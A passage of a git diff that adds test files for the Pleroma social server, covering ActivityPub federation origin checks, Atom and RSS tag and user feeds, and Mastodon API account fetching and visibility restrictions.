ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) + + assert ObanHelpers.member?( + %{ + "op" => "publish_one", + "params" => %{"inbox" => inbox1, "unreachable_since" => expected_dt} + }, + all_enqueued(worker: PublisherWorker) + ) + end + end + + describe "Receive an activity" do + test "successfully processes incoming AP docs with correct origin" do + params = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => "http://mastodon.example.org/users/admin", + "type" => "Create", + "id" => "http://mastodon.example.org/users/admin/activities/1", + "object" => %{ + "type" => "Note", + "content" => "hi world!", + "id" => "http://mastodon.example.org/users/admin/objects/1", + "attributedTo" => "http://mastodon.example.org/users/admin" + }, + "to" => ["https://www.w3.org/ns/activitystreams#Public"] + } + + assert {:ok, job} = Federator.incoming_ap_doc(params) + assert {:ok, _activity} = ObanHelpers.perform(job) + + assert {:ok, job} = Federator.incoming_ap_doc(params) + assert {:error, :already_present} = ObanHelpers.perform(job) + end + + test "rejects incoming AP docs with incorrect origin" do + params = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => "https://niu.moe/users/rye", + "type" => "Create", + "id" => "http://mastodon.example.org/users/admin/activities/1", + "object" => %{ + "type" => "Note", + "content" => "hi world!", + "id" => "http://mastodon.example.org/users/admin/objects/1", + "attributedTo" => "http://mastodon.example.org/users/admin" + }, + "to" => ["https://www.w3.org/ns/activitystreams#Public"] + } + + assert {:ok, job} = Federator.incoming_ap_doc(params) + assert {:error, :origin_containment_failed} = ObanHelpers.perform(job) + end + + test "it does not crash if MRF rejects the post" do + Pleroma.Config.put([:mrf_keyword, :reject], ["lain"]) + + Pleroma.Config.put( + [:mrf, :policies], + Pleroma.Web.ActivityPub.MRF.KeywordPolicy + ) + + params = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + + assert {:ok, job} = Federator.incoming_ap_doc(params) + assert {:error, _} = ObanHelpers.perform(job) + end + end +end diff --git a/test/pleroma/web/feed/tag_controller_test.exs b/test/pleroma/web/feed/tag_controller_test.exs new file mode 100644 index 000000000..868e40965 --- /dev/null +++ b/test/pleroma/web/feed/tag_controller_test.exs @@ -0,0 +1,197 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Feed.TagControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + import SweetXml + + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Feed.FeedView + + setup do: clear_config([:feed]) + + test "gets a feed (ATOM)", %{conn: conn} do + Pleroma.Config.put( + [:feed, :post_title], + %{max_length: 25, omission: "..."} + ) + + user = insert(:user) + {:ok, activity1} = CommonAPI.post(user, %{status: "yeah #PleromaArt"}) + + object = Object.normalize(activity1) + + object_data = + Map.put(object.data, "attachment", [ + %{ + "url" => [ + %{ + "href" => + "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ]) + + object + |> Ecto.Changeset.change(data: object_data) + |> Pleroma.Repo.update() + + {:ok, activity2} = CommonAPI.post(user, %{status: "42 This is :moominmamma #PleromaArt"}) + + {:ok, _activity3} = CommonAPI.post(user, %{status: "This is :moominmamma"}) + + response = + conn + |> put_req_header("accept", "application/atom+xml") + |> get(tag_feed_path(conn, :feed, "pleromaart.atom")) + |> response(200) + + xml = parse(response) + + assert xpath(xml, ~x"//feed/title/text()") == '#pleromaart' + + assert xpath(xml, ~x"//feed/entry/title/text()"l) == [ + '42 This is :moominmamm...', + 'yeah #PleromaArt' + ] + + assert xpath(xml, ~x"//feed/entry/author/name/text()"ls) == [user.nickname, user.nickname] + assert xpath(xml, ~x"//feed/entry/author/id/text()"ls) == [user.ap_id, user.ap_id] + + conn = + conn + |> put_req_header("accept", "application/atom+xml") + |> get("/tags/pleromaart.atom", %{"max_id" => activity2.id}) + + assert get_resp_header(conn, "content-type") == ["application/atom+xml; charset=utf-8"] + resp = response(conn, 200) + xml = parse(resp) + + assert xpath(xml, ~x"//feed/title/text()") == '#pleromaart' + + assert xpath(xml, ~x"//feed/entry/title/text()"l) == [ + 'yeah #PleromaArt' + ] + end + + test "gets a feed (RSS)", %{conn: conn} do + Pleroma.Config.put( + [:feed, :post_title], + %{max_length: 25, omission: "..."} + ) + + user = insert(:user) + {:ok, activity1} = CommonAPI.post(user, %{status: "yeah #PleromaArt"}) + + object = Object.normalize(activity1) + + object_data = + Map.put(object.data, "attachment", [ + %{ + "url" => [ + %{ + "href" => + "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ]) + + object + |> Ecto.Changeset.change(data: object_data) + |> Pleroma.Repo.update() + + {:ok, activity2} = CommonAPI.post(user, %{status: "42 This is :moominmamma #PleromaArt"}) + + {:ok, _activity3} = CommonAPI.post(user, %{status: "This is :moominmamma"}) + + response = + conn + |> put_req_header("accept", "application/rss+xml") + |> get(tag_feed_path(conn, :feed, "pleromaart.rss")) + |> response(200) + + xml = parse(response) + assert xpath(xml, ~x"//channel/title/text()") == '#pleromaart' + + assert xpath(xml, ~x"//channel/description/text()"s) == + "These are public toots tagged with #pleromaart. You can interact with them if you have an account anywhere in the fediverse." + + assert xpath(xml, ~x"//channel/link/text()") == + '#{Pleroma.Web.base_url()}/tags/pleromaart.rss' + + assert xpath(xml, ~x"//channel/webfeeds:logo/text()") == + '#{Pleroma.Web.base_url()}/static/logo.png' + + assert xpath(xml, ~x"//channel/item/title/text()"l) == [ + '42 This is :moominmamm...', + 'yeah #PleromaArt' + ] + + assert xpath(xml, ~x"//channel/item/pubDate/text()"sl) == [ + FeedView.pub_date(activity2.data["published"]), + FeedView.pub_date(activity1.data["published"]) + ] + + assert xpath(xml, ~x"//channel/item/enclosure/@url"sl) == [ + "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4" + ] + + obj1 = Object.normalize(activity1) + obj2 = Object.normalize(activity2) + + assert xpath(xml, ~x"//channel/item/description/text()"sl) == [ + HtmlEntities.decode(FeedView.activity_content(obj2.data)), + HtmlEntities.decode(FeedView.activity_content(obj1.data)) + ] + + response = + conn + |> put_req_header("accept", "application/rss+xml") + |> get(tag_feed_path(conn, :feed, "pleromaart")) + |> response(200) + + xml = parse(response) + assert xpath(xml, ~x"//channel/title/text()") == '#pleromaart' + + assert xpath(xml, ~x"//channel/description/text()"s) == + "These are public toots tagged with #pleromaart. You can interact with them if you have an account anywhere in the fediverse." + + conn = + conn + |> put_req_header("accept", "application/rss+xml") + |> get("/tags/pleromaart.rss", %{"max_id" => activity2.id}) + + assert get_resp_header(conn, "content-type") == ["application/rss+xml; charset=utf-8"] + resp = response(conn, 200) + xml = parse(resp) + + assert xpath(xml, ~x"//channel/title/text()") == '#pleromaart' + + assert xpath(xml, ~x"//channel/item/title/text()"l) == [ + 'yeah #PleromaArt' + ] + end + + describe "private instance" do + setup do: clear_config([:instance, :public]) + + test "returns 404 for tags feed", %{conn: conn} do + Config.put([:instance, :public], false) + + conn + |> put_req_header("accept", "application/rss+xml") + |> get(tag_feed_path(conn, :feed, "pleromaart")) + |> response(404) + end + end +end diff --git a/test/pleroma/web/feed/user_controller_test.exs b/test/pleroma/web/feed/user_controller_test.exs new file mode 100644 index 000000000..9a5610baa --- /dev/null +++ b/test/pleroma/web/feed/user_controller_test.exs @@ -0,0 +1,265 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Feed.UserControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + import SweetXml + + alias Pleroma.Config + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + setup do: clear_config([:instance, :federating], true) + + describe "feed" do + setup do: clear_config([:feed]) + + test "gets an atom feed", %{conn: conn} do + Config.put( + [:feed, :post_title], + %{max_length: 10, omission: "..."} + ) + + activity = insert(:note_activity) + + note = + insert(:note, + data: %{ + "content" => "This is :moominmamma: note ", + "attachment" => [ + %{ + "url" => [ + %{"mediaType" => "image/png", "href" => "https://pleroma.gov/image.png"} + ] + } + ], + "inReplyTo" => activity.data["id"] + } + ) + + note_activity = insert(:note_activity, note: note) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + note2 = + insert(:note, + user: user, + data: %{ + "content" => "42 This is :moominmamma: note ", + "inReplyTo" => activity.data["id"] + } + ) + + note_activity2 = insert(:note_activity, note: note2) + object = Object.normalize(note_activity) + + resp = + conn + |> put_req_header("accept", "application/atom+xml") + |> get(user_feed_path(conn, :feed, user.nickname)) + |> response(200) + + activity_titles = + resp + |> SweetXml.parse() + |> SweetXml.xpath(~x"//entry/title/text()"l) + + assert activity_titles == ['42 This...', 'This is...'] + assert resp =~ object.data["content"] + + resp = + conn + |> put_req_header("accept", "application/atom+xml") + |> get("/users/#{user.nickname}/feed", %{"max_id" => note_activity2.id}) + |> response(200) + + activity_titles = + resp + |> SweetXml.parse() + |> SweetXml.xpath(~x"//entry/title/text()"l) + + assert activity_titles == ['This is...'] + end + + test "gets a rss feed", %{conn: conn} do + Pleroma.Config.put( + [:feed, :post_title], + %{max_length: 10, omission: "..."} + ) + + activity = insert(:note_activity) + + note = + insert(:note, + data: %{ + "content" => "This is :moominmamma: note ", + "attachment" => [ + %{ + "url" => [ + %{"mediaType" => "image/png", "href" => "https://pleroma.gov/image.png"} + ] + } + ], + "inReplyTo" => activity.data["id"] + } + ) + + note_activity = insert(:note_activity, note: note) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + note2 = + insert(:note, + user: user, + data: %{ + "content" => "42 This is :moominmamma: note ", + "inReplyTo" => activity.data["id"] + } + ) + + note_activity2 = insert(:note_activity, note: note2) + object = Object.normalize(note_activity) + + resp = + conn + |> put_req_header("accept", "application/rss+xml") + |> get("/users/#{user.nickname}/feed.rss") + |> response(200) + + activity_titles = + resp + |> SweetXml.parse() + |> SweetXml.xpath(~x"//item/title/text()"l) + + assert activity_titles == ['42 This...', 'This is...'] + assert resp =~ object.data["content"] + + resp = + conn + |> put_req_header("accept", "application/rss+xml") + |> get("/users/#{user.nickname}/feed.rss", %{"max_id" => note_activity2.id}) + |> response(200) + + activity_titles = + resp + |> SweetXml.parse() + |> SweetXml.xpath(~x"//item/title/text()"l) + + assert activity_titles == ['This is...'] + end + + test "returns 404 for a missing feed", %{conn: conn} do + conn = + conn + |> put_req_header("accept", "application/atom+xml") + |> get(user_feed_path(conn, :feed, "nonexisting")) + + assert response(conn, 404) + end + + test "returns feed with public and unlisted activities", %{conn: conn} do + user = insert(:user) + + {:ok, _} = CommonAPI.post(user, %{status: "public", visibility: "public"}) + {:ok, _} = CommonAPI.post(user, %{status: "direct", visibility: "direct"}) + {:ok, _} = CommonAPI.post(user, %{status: "unlisted", visibility: "unlisted"}) + {:ok, _} = CommonAPI.post(user, %{status: "private", visibility: "private"}) + + resp = + conn + |> put_req_header("accept", "application/atom+xml") + |> get(user_feed_path(conn, :feed, user.nickname)) + |> response(200) + + activity_titles = + resp + |> SweetXml.parse() + |> SweetXml.xpath(~x"//entry/title/text()"l) + |> Enum.sort() + + assert activity_titles == ['public', 'unlisted'] + end + + test "returns 404 when the user is remote", %{conn: conn} do + user = insert(:user, local: false) + + {:ok, _} = CommonAPI.post(user, %{status: "test"}) + + assert conn + |> put_req_header("accept", "application/atom+xml") + |> get(user_feed_path(conn, :feed, user.nickname)) + |> response(404) + end + end + + # Note: see ActivityPubControllerTest for JSON format tests + describe "feed_redirect" do + test "with html format, it redirects to user feed", %{conn: conn} do + note_activity = insert(:note_activity) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + response = + conn + |> get("/users/#{user.nickname}") + |> response(200) + + assert response == + Fallback.RedirectController.redirector_with_meta( + conn, + %{user: user} + ).resp_body + end + + test "with html format, it returns error when user is not found", %{conn: conn} do + response = + conn + |> get("/users/jimm") + |> json_response(404) + + assert response == %{"error" => "Not found"} + end + + test "with non-html / non-json format, it redirects to user feed in atom format", %{ + conn: conn + } do + note_activity = insert(:note_activity) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + conn = + conn + |> put_req_header("accept", "application/xml") + |> get("/users/#{user.nickname}") + + assert conn.status == 302 + assert redirected_to(conn) == "#{Pleroma.Web.base_url()}/users/#{user.nickname}/feed.atom" + end + + test "with non-html / non-json format, it returns error when user is not found", %{conn: conn} do + response = + conn + |> put_req_header("accept", "application/xml") + |> get(user_feed_path(conn, :feed, "jimm")) + |> response(404) + + assert response == ~S({"error":"Not found"}) + end + end + + describe "private instance" do + setup do: clear_config([:instance, :public]) + + test "returns 404 for user feed", %{conn: conn} do + Config.put([:instance, :public], false) + user = insert(:user) + + {:ok, _} = CommonAPI.post(user, %{status: "test"}) + + assert conn + |> put_req_header("accept", "application/atom+xml") + |> get(user_feed_path(conn, :feed, user.nickname)) + |> response(404) + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs new file mode 100644 index 000000000..f7f1369e4 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs @@ -0,0 +1,1536 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.InternalFetchActor + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.OAuth.Token + + import Pleroma.Factory + + describe "account fetching" do + test "works by id" do + %User{id: user_id} = insert(:user) + + assert %{"id" => ^user_id} = + build_conn() + |> get("/api/v1/accounts/#{user_id}") + |> json_response_and_validate_schema(200) + + assert %{"error" => "Can't find user"} = + build_conn() + |> get("/api/v1/accounts/-1") + |> json_response_and_validate_schema(404) + end + + test "works by nickname" do + user = insert(:user) + + assert %{"id" => user_id} = + build_conn() + |> get("/api/v1/accounts/#{user.nickname}") + |> json_response_and_validate_schema(200) + end + + test "works by nickname for remote users" do + clear_config([:instance, :limit_to_local_content], false) + + user = insert(:user, nickname: "user@example.com", local: false) + + assert %{"id" => user_id} = + build_conn() + |> get("/api/v1/accounts/#{user.nickname}") + |> json_response_and_validate_schema(200) + end + + test "respects limit_to_local_content == :all for remote user nicknames" do + clear_config([:instance, :limit_to_local_content], :all) + + user = insert(:user, nickname: "user@example.com", local: false) + + assert build_conn() + |> get("/api/v1/accounts/#{user.nickname}") + |> json_response_and_validate_schema(404) + end + + test "respects limit_to_local_content == :unauthenticated for remote user nicknames" do + clear_config([:instance, :limit_to_local_content], :unauthenticated) + + user = insert(:user, nickname: "user@example.com", local: false) + reading_user = insert(:user) + + conn = + build_conn() + |> get("/api/v1/accounts/#{user.nickname}") + + assert json_response_and_validate_schema(conn, 404) + + conn = + build_conn() + |> assign(:user, reading_user) + |> assign(:token, insert(:oauth_token, user: reading_user, scopes: ["read:accounts"])) + |> get("/api/v1/accounts/#{user.nickname}") + + assert %{"id" => id} = json_response_and_validate_schema(conn, 200) + assert id == user.id + end + + test "accounts fetches correct account for nicknames beginning with numbers", %{conn: conn} do + # Need to set an old-style integer ID to reproduce the problem + # (these are no longer assigned to new accounts but were preserved + # for existing accounts during the migration to flakeIDs) + user_one = insert(:user, %{id: 1212}) + user_two = insert(:user, %{nickname: "#{user_one.id}garbage"}) + + acc_one = + conn + |> get("/api/v1/accounts/#{user_one.id}") + |> json_response_and_validate_schema(:ok) + + acc_two = + conn + |> get("/api/v1/accounts/#{user_two.nickname}") + |> json_response_and_validate_schema(:ok) + + acc_three = + conn + |> get("/api/v1/accounts/#{user_two.id}") + |> json_response_and_validate_schema(:ok) + + refute acc_one == acc_two + assert acc_two == acc_three + end + + test "returns 404 when user is invisible", %{conn: conn} do + user = insert(:user, %{invisible: true}) + + assert %{"error" => "Can't find user"} = + conn + |> get("/api/v1/accounts/#{user.nickname}") + |> json_response_and_validate_schema(404) + end + + test "returns 404 for internal.fetch actor", %{conn: conn} do + %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() + + assert %{"error" => "Can't find user"} = + conn + |> get("/api/v1/accounts/internal.fetch") + |> json_response_and_validate_schema(404) + end + + test "returns 404 for deactivated user", %{conn: conn} do + user = insert(:user, deactivated: true) + + assert %{"error" => "Can't find user"} = + conn + |> get("/api/v1/accounts/#{user.id}") + |> json_response_and_validate_schema(:not_found) + end + end + + defp local_and_remote_users do + local = insert(:user) + remote = insert(:user, local: false) + {:ok, local: local, remote: remote} + end + + describe "user fetching with restrict unauthenticated profiles for local and remote" do + setup do: local_and_remote_users() + + setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) + + setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + assert %{"error" => "This API requires an authenticated user"} == + conn + |> get("/api/v1/accounts/#{local.id}") + |> json_response_and_validate_schema(:unauthorized) + + assert %{"error" => "This API requires an authenticated user"} == + conn + |> get("/api/v1/accounts/#{remote.id}") + |> json_response_and_validate_schema(:unauthorized) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/accounts/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + end + + describe "user fetching with restrict unauthenticated profiles for local" do + setup do: local_and_remote_users() + + setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/accounts/#{local.id}") + + assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ + "error" => "This API requires an authenticated user" + } + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/accounts/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + end + + describe "user fetching with restrict unauthenticated profiles for remote" do + setup do: local_and_remote_users() + + setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/accounts/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}") + + assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ + "error" => "This API requires an authenticated user" + } + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/accounts/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + end + + describe "user timelines" do + setup do: oauth_access(["read:statuses"]) + + test "works with announces that are just addressed to public", %{conn: conn} do + user = insert(:user, ap_id: "https://honktest/u/test", local: false) + other_user = insert(:user) + + {:ok, post} = CommonAPI.post(other_user, %{status: "bonkeronk"}) + + {:ok, announce, _} = + %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => "https://honktest/u/test", + "id" => "https://honktest/u/test/bonk/1793M7B9MQ48847vdx", + "object" => post.data["object"], + "published" => "2019-06-25T19:33:58Z", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "type" => "Announce" + } + |> ActivityPub.persist(local: false) + + assert resp = + conn + |> get("/api/v1/accounts/#{user.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id}] = resp + assert id == announce.id + end + + test "deactivated user", %{conn: conn} do + user = insert(:user, deactivated: true) + + assert %{"error" => "Can't find user"} == + conn + |> get("/api/v1/accounts/#{user.id}/statuses") + |> json_response_and_validate_schema(:not_found) + end + + test "returns 404 when user is invisible", %{conn: conn} do + user = insert(:user, %{invisible: true}) + + assert %{"error" => "Can't find user"} = + conn + |> get("/api/v1/accounts/#{user.id}") + |> json_response_and_validate_schema(404) + end + + test "respects blocks", %{user: user_one, conn: conn} do + user_two = insert(:user) + user_three = insert(:user) + + User.block(user_one, user_two) + + {:ok, activity} = CommonAPI.post(user_two, %{status: "User one sux0rz"}) + {:ok, repeat} = CommonAPI.repeat(activity.id, user_three) + + assert resp = + conn + |> get("/api/v1/accounts/#{user_two.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id}] = resp + assert id == activity.id + + # Even a blocked user will deliver the full user timeline, there would be + # no point in looking at a blocked users timeline otherwise + assert resp = + conn + |> get("/api/v1/accounts/#{user_two.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id}] = resp + assert id == activity.id + + # Third user's timeline includes the repeat when viewed by unauthenticated user + resp = + build_conn() + |> get("/api/v1/accounts/#{user_three.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id}] = resp + assert id == repeat.id + + # When viewing a third user's timeline, the blocked users' statuses will NOT be shown + resp = get(conn, "/api/v1/accounts/#{user_three.id}/statuses") + + assert [] == json_response_and_validate_schema(resp, 200) + end + + test "gets users statuses", %{conn: conn} do + user_one = insert(:user) + user_two = insert(:user) + user_three = insert(:user) + + {:ok, _user_three} = User.follow(user_three, user_one) + + {:ok, activity} = CommonAPI.post(user_one, %{status: "HI!!!"}) + + {:ok, direct_activity} = + CommonAPI.post(user_one, %{ + status: "Hi, @#{user_two.nickname}.", + visibility: "direct" + }) + + {:ok, private_activity} = + CommonAPI.post(user_one, %{status: "private", visibility: "private"}) + + # TODO!!! + resp = + conn + |> get("/api/v1/accounts/#{user_one.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id}] = resp + assert id == to_string(activity.id) + + resp = + conn + |> assign(:user, user_two) + |> assign(:token, insert(:oauth_token, user: user_two, scopes: ["read:statuses"])) + |> get("/api/v1/accounts/#{user_one.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id_one}, %{"id" => id_two}] = resp + assert id_one == to_string(direct_activity.id) + assert id_two == to_string(activity.id) + + resp = + conn + |> assign(:user, user_three) + |> assign(:token, insert(:oauth_token, user: user_three, scopes: ["read:statuses"])) + |> get("/api/v1/accounts/#{user_one.id}/statuses") + |> json_response_and_validate_schema(200) + + assert [%{"id" => id_one}, %{"id" => id_two}] = resp + assert id_one == to_string(private_activity.id) + assert id_two == to_string(activity.id) + end + + test "unimplemented pinned statuses feature", %{conn: conn} do + note = insert(:note_activity) + user = User.get_cached_by_ap_id(note.data["actor"]) + + conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?pinned=true") + + assert json_response_and_validate_schema(conn, 200) == [] + end + + test "gets an users media, excludes reblogs", %{conn: conn} do + note = insert(:note_activity) + user = User.get_cached_by_ap_id(note.data["actor"]) + other_user = insert(:user) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, %{id: media_id}} = ActivityPub.upload(file, actor: user.ap_id) + + {:ok, %{id: image_post_id}} = CommonAPI.post(user, %{status: "cofe", media_ids: [media_id]}) + + {:ok, %{id: media_id}} = ActivityPub.upload(file, actor: other_user.ap_id) + + {:ok, %{id: other_image_post_id}} = + CommonAPI.post(other_user, %{status: "cofe2", media_ids: [media_id]}) + + {:ok, _announce} = CommonAPI.repeat(other_image_post_id, user) + + conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?only_media=true") + + assert [%{"id" => ^image_post_id}] = json_response_and_validate_schema(conn, 200) + + conn = get(build_conn(), "/api/v1/accounts/#{user.id}/statuses?only_media=1") + + assert [%{"id" => ^image_post_id}] = json_response_and_validate_schema(conn, 200) + end + + test "gets a user's statuses without reblogs", %{user: user, conn: conn} do + {:ok, %{id: post_id}} = CommonAPI.post(user, %{status: "HI!!!"}) + {:ok, _} = CommonAPI.repeat(post_id, user) + + conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_reblogs=true") + assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200) + + conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_reblogs=1") + assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200) + end + + test "filters user's statuses by a hashtag", %{user: user, conn: conn} do + {:ok, %{id: post_id}} = CommonAPI.post(user, %{status: "#hashtag"}) + {:ok, _post} = CommonAPI.post(user, %{status: "hashtag"}) + + conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?tagged=hashtag") + assert [%{"id" => ^post_id}] = json_response_and_validate_schema(conn, 200) + end + + test "the user views their own timelines and excludes direct messages", %{ + user: user, + conn: conn + } do + {:ok, %{id: public_activity_id}} = + CommonAPI.post(user, %{status: ".", visibility: "public"}) + + {:ok, _direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + + conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?exclude_visibilities[]=direct") + assert [%{"id" => ^public_activity_id}] = json_response_and_validate_schema(conn, 200) + end + end + + defp local_and_remote_activities(%{local: local, remote: remote}) do + insert(:note_activity, user: local) + insert(:note_activity, user: remote, local: false) + + :ok + end + + describe "statuses with restrict unauthenticated profiles for local and remote" do + setup do: local_and_remote_users() + setup :local_and_remote_activities + + setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) + + setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + assert %{"error" => "This API requires an authenticated user"} == + conn + |> get("/api/v1/accounts/#{local.id}/statuses") + |> json_response_and_validate_schema(:unauthorized) + + assert %{"error" => "This API requires an authenticated user"} == + conn + |> get("/api/v1/accounts/#{remote.id}/statuses") + |> json_response_and_validate_schema(:unauthorized) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + end + end + + describe "statuses with restrict unauthenticated profiles for local" do + setup do: local_and_remote_users() + setup :local_and_remote_activities + + setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + assert %{"error" => "This API requires an authenticated user"} == + conn + |> get("/api/v1/accounts/#{local.id}/statuses") + |> json_response_and_validate_schema(:unauthorized) + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + end + end + + describe "statuses with restrict unauthenticated profiles for remote" do + setup do: local_and_remote_users() + setup :local_and_remote_activities + + setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + assert %{"error" => "This API requires an authenticated user"} == + conn + |> get("/api/v1/accounts/#{remote.id}/statuses") + |> json_response_and_validate_schema(:unauthorized) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + end + end + + describe "followers" do + setup do: oauth_access(["read:accounts"]) + + test "getting followers", %{user: user, conn: conn} do + other_user = insert(:user) + {:ok, %{id: user_id}} = User.follow(user, other_user) + + conn = get(conn, "/api/v1/accounts/#{other_user.id}/followers") + + assert [%{"id" => ^user_id}] = json_response_and_validate_schema(conn, 200) + end + + test "getting followers, hide_followers", %{user: user, conn: conn} do + other_user = insert(:user, hide_followers: true) + {:ok, _user} = User.follow(user, other_user) + + conn = get(conn, "/api/v1/accounts/#{other_user.id}/followers") + + assert [] == json_response_and_validate_schema(conn, 200) + end + + test "getting followers, hide_followers, same user requesting" do + user = insert(:user) + other_user = insert(:user, hide_followers: true) + {:ok, _user} = User.follow(user, other_user) + + conn = + build_conn() + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) + |> get("/api/v1/accounts/#{other_user.id}/followers") + + refute [] == json_response_and_validate_schema(conn, 200) + end + + test "getting followers, pagination", %{user: user, conn: conn} do + {:ok, %User{id: follower1_id}} = :user |> insert() |> User.follow(user) + {:ok, %User{id: follower2_id}} = :user |> insert() |> User.follow(user) + {:ok, %User{id: follower3_id}} = :user |> insert() |> User.follow(user) + + assert [%{"id" => ^follower3_id}, %{"id" => ^follower2_id}] = + 